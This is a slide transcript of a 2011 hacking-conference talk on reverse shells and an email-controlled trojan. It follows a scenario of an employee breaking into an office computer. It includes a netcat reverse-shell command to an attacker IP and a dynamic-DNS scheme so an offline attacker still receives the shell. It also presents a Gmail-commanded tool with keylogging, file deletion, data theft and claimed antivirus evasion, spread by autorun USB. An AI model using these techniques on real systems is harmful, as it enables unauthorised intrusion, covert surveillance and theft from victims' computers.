handle explotion of remote system without being online (merchant bhaumik)

48
Handle Explotion of Remote System Without Being Online !! By Merchant Bhaumik

Upload: clubhack

Post on 26-May-2015

1.421 views

Category:

Technology


0 download

DESCRIPTION

ClubHack 2011 Hacking and Security Conference.Talk - Handle Explotion of Remote System Without Being OnlineSpeaker - Merchant Bhaumik

TRANSCRIPT

Page 1: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Handle Explotion of Remote System

Without Being Online !!

By

Merchant Bhaumik

Page 2: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)
Page 3: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)
Page 4: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)
Page 5: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)
Page 6: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Who Am I ?

• Currently Helping local law-enforcement And HelpingIn Securing Some Government Websites

• Developer Of IND 360 Intrusion Detection System ( Host Based As Well As Network Based Detection )

• Communicating with Metasploit Guys To Develop TermCalled “ Universal Payload”

Page 7: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Presentation Flow…….

•Reverse Shell Using Dynamic-Dns Concepts

• Getting Data From Victim Computer Using EmailTool

Page 8: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

We Will Understand This Mechanism By Considering

One Scenario……..

Page 9: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Jack’s Situaion……….Jack Working In A Company ...............!

In Which All Computers Behind The NAT BOX……. ………………………!

And He Just Decided To Break One Of TheSystem Of His Office And Getting Shell FromOffice To Home Computer

Page 10: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Problems For Jack….

•Company Has NIDS/IPS ( Network IDS ) …..So No In Bound Connections………….

•He Don’t Know What IP Address IsAllocated By His ISP

•He Can’t Use Any Mechanism Which Constantly Sends Some OutBound Traffic

Page 11: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Good Thing For Jack….

• Jack’s Office Allow Him To Access His GmailAccount..N Allow Some OutBound Traffic..

Page 12: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

I

# INCLUDE< REVERSE SHELL >

Page 13: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Why Reverse Shell ?

•Reverse Shell is one of the powerful method for Bypassing Network Intrusion Detection Systems , Firewalls ( Most Of The) etc

• Because Some of this network intrusion only monitors In-bound connection … Not the Out-bound ……

• Jack Has DMZ Network In His Office…..

Page 14: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Diagram 1

INTERNET

192.168.1.2

192.168.1.1

192.168.1.3

192.168.1.4

192.168.1.5

117.254.4.123( PUBLIC IP )

49.24.3.12( INDIVIDUAL IP )

D

M

Z

Page 15: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Diagram 2 (Normal Attack ! )

INTERNET

192.168.1.2

192.168.1.1

192.168.1.3

192.168.1.4

117.254.4.123( PUBLIC IP )

49.24.3.12( Attacker IP )

D

M

Z

Victim

nc 49.24.3.12 4343 –e cmd.exe

Step I : Start Handler on port 4343nc –l –p 4343

Step II :

Page 16: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Normal Flow Of Getting Reverse

Shell

Attacker Starts Handler

Vuln. Injection N All that !

Victim Sends Reverse Shell … To Attacker Machine !..

For Reverse Shell Scenario !

Attacker Wins !

Exploit !

Page 17: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

But What’s Wrong With Jack?

He Don’t Know What IP Address IsAllocated To His Computer

( Dynamic IP Allocation By ISPs)

Page 18: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Solution….

Attacker Is “Offline” But Still He Will Get Reverse Shell

Page 19: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

My Way…….

Attacker Starts Handler

Vuln. Injection N All that !

Victim Sends Reverse Shell … To Attacker Machine !..

For Reverse Shell Scenario !

Attacker Wins !

Exploit !

Starting Handler On Local Machine Is Optional !

Page 20: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Flow Of Execution……Attacker !

Attack

Exe Running inVictim Machine

Attacker Update IP?

Attacker Receives Reverse Shell

Yes !!

No !!

* If Attacker is not online still the exe is up and running in remote machine and if attacker updates DNS records… The Reverse Shell Is On The Attacker’s Desk !!

Page 21: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Mechanism

• If the Code ( First Part ) receives positive Acknowledgement of

sending packets …………Jack Will Get Reverse Shell…………….

•Else keep running in the victim machine and waits for Ack.

From attacker’ machine…

Page 22: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Dynamic DNS Way…. (Initially ! )• First Part : catchme.dyndns-ip.com ( 255.255.255.255 ) • Second Part : payload.dyndns-ip.com ( 255.255.255.255 )

First Part

Second Part

SynchronousExecution

( Single EXE )

NEW FINAL EXE CONSIST OF

New.exe

Page 23: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Dynamic DNS Way…. (Finally ! )• First Part : catchme.dyndns-ip.com ( 127.0.0.1 ) • Second Part : payload.dyndns-ip.com (Attacker’s IP )

First Part

Second Part

SynchronousExecution

( Single EXE )

NEW FINAL EXE CONSIST OF

New.exe

Page 24: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Metasploit………….!!!!!•You can embed my method (or My Exe ) with metasploit Payload which is of yourchoice . * The Structure of new Exe will be as per follow :

My Tool

MSF PAYLOAD( LHOST = Dynamic )

SynchronousExecution

( Single EXE )

NEW FINAL EXE CONSIS OF

New.exe

Page 25: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Hands On NetWork

INTERNET

192.168.1.2

192.168.1.1

192.168.1.3

192.168.1.4

192.168.1.5

117.254.4.123( PUBLIC IP )

49.24.3.12( INDIVIDUAL IP )

D

M

Z

Page 26: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Time To Enjoy Cooked Cookies And

Recipes !!

Page 27: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Demo

Page 28: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

I I

# INCLUDE <EMAIL TOOL >

Page 29: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Normal Remote Trojans & Viruses !

Attacker

(Must Be Online !)

Victim

(Must Be Online !)

Page 30: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

My Tool !!

Attacker

MAY

OR

MAY NOT ONLINE !!

Victim

MAY

OR

MAY NOT ONLINE !!

Caution: No Need To Be Online !!

Attackers !!

Page 31: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

So, How It Works ??

Attacker Victim

Zombie

Page 32: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

But, Who Is Zombie??

@ It may be one of the below :

It is one of like it…….

Or one like this…..

Or like this…….

Page 33: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Features !!

Execute Operating System Level Commands By Using Emails !

Get all Network Card Information with Allocated IP Addresses !

Live Tracking Of the System being used by victim !

Get All available account‟ List !

Enable/Disable Key Logger !

This All Stuff With Gmail , Yahoo , Hotmail………!!

Page 34: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

About It !It is a simple application which Once Up & Going on Victim‟

Computer , Attacker can Handle it using Gmail , Yahoo , Hotmail

Email Services…

There is no need to be Online for Attacker to attack the Victim

System…..

Attacker Has to send attack instructions to Any of the mail

service & then it is like sitting on the door & watching the event ,

“ when it‟s gonna open !!”

As Victim Connects to the internet …. Attack Launches & the

results are automatically sent back to the Attacker‟s email

Address…..

Page 35: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Cool Benefits !!

If the email account is used by using One of like below then it is totally Anti-

Forensic ! No Reverse Detection Is Possible !

Create Unique password for all individual victims who are

infected …

Ability to handle multiple clients simultaneously …..

Delete Files In Victims Computer by Simply Sending An Email..

No Antivirus Can Detect Attack Because Of HTTPS ……

Page 36: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Tool Syntax …..

Password_For_Victim “: “Task_Commands”:”

E.g. Pwd$98$ : Account_info :

“Pwd$98$” is Password

For The Particular Victim…

Command Which Sends back

Email Containing Account Info In

Victim Computer !

Page 37: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Snap Shot 1…(Load Attack Instructions)

Send Account info Of Victim..

Send Drive Info Of Victim…

Sends Mac , Network card Info...

Password For Individual Victim

Page 38: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Snap Shot 2…(Get Back Attack Result)

My Emaill Account …… !

Attached Info Of Victims Computer…!

As Per Of Attacker‟ Choice

Page 39: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Why Gmail ??

Page 40: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

No Fear Of Detection 1

No Direct Connection Between Attacker & Victim

Attacker

Victim

Page 41: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

No Fear Of Detection 2

No Virus Detection Due To HTTPS…..No Digital Signatures !! Ability To Distruct It

Self…….!

Page 42: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

How To Spread This Code??

Autorun.inf by USB Drives……….

Phisical Access Of Victim‟s System…..

During Metasploit Explotion ……

Page 43: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Further Possible Development !!

This Code Is Flexible Enough To Develop Further By My Hacker

Friends….It Is Also Possible For Future To Send Exploits Or

Trojans By Using This Code…….

Any One Can Send Exploits , Trojans , RootKits , BackDoors By

Simply Attaching It With Email And Sending It To His Own Account

Or Account That is Configured In Victim‟ Code………

Page 44: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Pros N Cons 1 ! ( Be Transparent !! )

Advantages are that the attacker never goin to caught if he/she

using the browser like TOR , Anononymizer , VPNs or Any

PROXy…. For accessing the attacking gmail account.

No Antivirus can detect the Instruction data because all traffic

gonna come from HTTPS …..!

Only single email account of gmail goin to use for both the side.

Attacker and victim machine both goin to connect same account

but attacker knows ,But Victim Don‟t !!

Page 45: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Pros N Cons 2

Disadvantage is that , if the victim has habit of checking the

current connections using commands like „netstat –n‟ then

possibility to detect Gmail connection when actually there is no

browser activity. But still it is difficult to detect ………. Because

process is running in Hidden mode….

Page 46: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Hands On Time..!

( Demo)

Page 47: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

For More……

[email protected]

Page 48: Handle Explotion of Remote System Without Being Online (Merchant Bhaumik)

Thanks Guys

For Checking

It Out …….!